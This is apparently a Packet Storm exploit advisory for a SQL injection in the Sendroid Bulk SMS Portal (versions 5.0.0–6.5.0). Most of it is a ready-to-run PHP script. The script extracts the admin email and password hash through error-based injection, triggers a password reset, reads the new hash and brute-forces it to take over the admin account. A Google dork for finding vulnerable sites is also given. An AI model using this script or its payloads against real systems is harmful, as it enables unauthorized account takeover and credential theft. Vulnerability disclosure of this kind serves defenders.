Sendroid Bulk SMS Portal / Marketing Script 6.5.0 SQL Injection

2017-12-26T00:00:00
ID PACKETSTORM:145545
Type packetstorm
Reporter Onwuka Gideon
Modified 2017-12-26T00:00:00

Description

                                        
                                            `# Exploit Title: Sendroid - Bulk SMS Portal, Marketing Script( 5.0.0 - 6.5.0 ) - SQL Injection  
# Google Dork: "welcome to * SMS portal"  
# Date: 22/12/2017  
# Exploit Author: Onwuka Gideon <dongiodmed[@]gmail[.]com>  
Contact: http://twitter.com/@gideon_onwuka  
# Vendor Homepage: http://ynetinteractive.com/  
# Software Buy: https://codecanyon.net/item/sendroid-bulk-sms-portal-marketing-2way-messaging-script-with-mobile-app/14657225  
# Version: 5.0.0 - 6.5.0  
# Tested on: Mac OS  
  
  
1. Description  
  
The softaware suffers from SQL Injection:  
"/API/index.php?action=compose&username=sender&api_key=sdsd&sender"  
  
2. Script (Automatic takeover)  
  
Attached to mail  
  
4. How to run Script  
You must have PHP installed on your system to run the script.  
  
- First, copy the code to a file and save(eg: sendroid_exploit.php)  
- Open up your command line and CD into the directory where you saved the file.  
- Now, type "$ php -f sendroid_exploit.php url=http://localhost/sms"  
  
Note: The URL should be a direct link to where the software is installed.  
  
3. Proof of Concept  
  
Run the script for example:  
php -f sendroid_exploit.php url=http://localhost/sms  
  
<?php  
/**  
* A script to authomatically get admin password  
*   
* @author: Onwuka Gideon <dongidomed[@]gmail[.]com>  
*   
*/  
  
parse_str(implode('&', array_slice($argv, 1)), $_GET);  
  
$queries =[  
"sql_get_email" => "/*!12345SELECT*/+email+FROM+users+WHERE+username='admin'",  
"sql_get_password0" => "/*!12345SELECT*/+SUBSTRING(password,1,32)+FROM+users+WHERE+username='admin'",  
"sql_get_password1" => "/*!12345SELECT*/+SUBSTRING(password,33)+FROM+users+WHERE+username='admin'",  
];  
  
$payload = "/API/index.php?action=compose&username=asdasd%27)%20OR%20(SELECT%203321%20FROM(SELECT%20COUNT(*),CONCAT+((<query>),FLOOR(RAND(0)*2))x%20FROM%20/*!INFORMATION_SCHEMA*/.PLUGINS%20GROUP%20BY%20x)a)--%20RPjw&api_key=sdsd&sender";  
//   
  
checkCommands();  
  
print_r(getEmailAndPassword($_GET['url'], $payload, $queries));  
  
  
/**  
*  
* Checks if minimum expected command is issued   
*   
* @param: $_GET  
* @return; Boolean   
**/  
  
  
function checkCommands(){  
  
//url && shell  
$url = $_GET['url'] ?? "";  
  
if( $url == "" ) {  
  
"Please enter a target";  
  
help();  
exit(1);  
}  
}  
  
// Print help message  
function help(){  
  
echo "Invalid command " . PHP_EOL;  
echo "eg php -f sendroid_exploit.php url=https://localhost/sms" . PHP_EOL;  
echo "" . PHP_EOL;  
}  
  
  
// ==  
// == Reset password and Get the Password hash  
// ==  
function getEmailAndPassword($url, $payload, $queries){  
  
//>> Fetch admin email  
echo "Fetching admin email....:";  
$sql_get_email = $url . str_replace("<query>", $queries['sql_get_email'], $payload);  
$email = extractValue(makeRequest($sql_get_email));  
echo $email . PHP_EOL.PHP_EOL;  
//<< EndFetch admin email  
  
//>> Fetch admin old pass  
echo "Fetching admin old password...:";  
$sql_old_password0 = $url . str_replace("<query>", $queries['sql_get_password0'], $payload);  
$sql_old_password1 = $url . str_replace("<query>", $queries['sql_get_password1'], $payload);  
$old_password = extractValue(makeRequest($sql_old_password0), 'password') . extractValue(makeRequest($sql_old_password1), 'password');  
echo $old_password . PHP_EOL.PHP_EOL;  
//<< End Fetch admin old  
  
// Now we have the old password and admin email  
// reset password  
echo "Resetting password...:";   
$forgot_password = $url . "/administrator/index.php?reset&p";  
makeRequest($forgot_password, "POST", ["userEmail" => $email]);  
echo " Done!" . PHP_EOL.PHP_EOL;  
  
//>> Fetch admin new password  
echo "Getting new password...:";  
$sql_new_password0 = $url . str_replace("<query>", $queries['sql_get_password0'], $payload);  
$sql_new_password1 = $url . str_replace("<query>", $queries['sql_get_password1'], $payload);  
$new_password = extractValue(makeRequest($sql_new_password0), 'password') . extractValue(makeRequest($sql_new_password1), 'password');  
echo $new_password . PHP_EOL.PHP_EOL;  
//<< End Fetch admin new password  
  
//>> Cracking password  
echo "Craking password...:";  
$password = crackPassword($new_password);  
echo $password . PHP_EOL.PHP_EOL;  
//<< Cracking password  
  
// return $sql_get_email;  
return ["email" => $email, "password" => $password];  
}  
  
//  
// POST and GET request  
// ==  
function makeRequest($url, $method = "GET", $parameter = []){  
  
// Get cURL resource  
$curl = curl_init();  
// Set some options - we are passing in a useragent too here  
if( strtolower($method) == "post" ){  
curl_setopt_array($curl, [  
CURLOPT_RETURNTRANSFER => 1,  
CURLOPT_URL => $url,  
CURLOPT_USERAGENT => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 0_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36',  
CURLOPT_POST => 1,  
CURLOPT_POSTFIELDS => $parameter  
]);  
}  
else{  
  
curl_setopt_array($curl, [  
CURLOPT_RETURNTRANSFER => 1,  
CURLOPT_URL => $url,  
CURLOPT_USERAGENT => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 0_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36'  
]);  
}  
// Send the request & save response to $resp  
$resp = curl_exec($curl);  
// Close request to clear up some resources  
curl_close($curl);  
  
return $resp;  
}  
  
// Extract the real value   
function extractValue($payload, $what = "email"){  
  
$patterns = []; $patterns[0] = "/ for key 'group_key'/"; $patterns[1] = "/Duplicate entry /"; $patterns[2] = "/\s\s+/"; $patterns[3] = "/'/";   
$replacements = []; $replacement[0] = ""; $replacements[1] = ""; $replacements[2] = ""; $replacements[3] = "";  
  
$result = preg_replace($patterns, $replacements, $payload);  
  
return substr($result, 0, -1);  
}  
  
  
function crackPassword($password){  
  
echo " cracking... please wait... ";  
  
$pwsalt = explode( ":",$password );   
  
for ($i=1; $i < 20000000000000 ; $i++) {   
  
if(md5($i . $pwsalt[1]) == $pwsalt[0] ) {   
  
return $i;  
}  
  
}  
  
return "Could not crack password";  
}  
  
If you successfully run the script, you'll get the admin password. You can login to the admin portal:  
localhost/sms/administrator/  
  
4. Solution:  
  
Update to the latest version  
  
  
`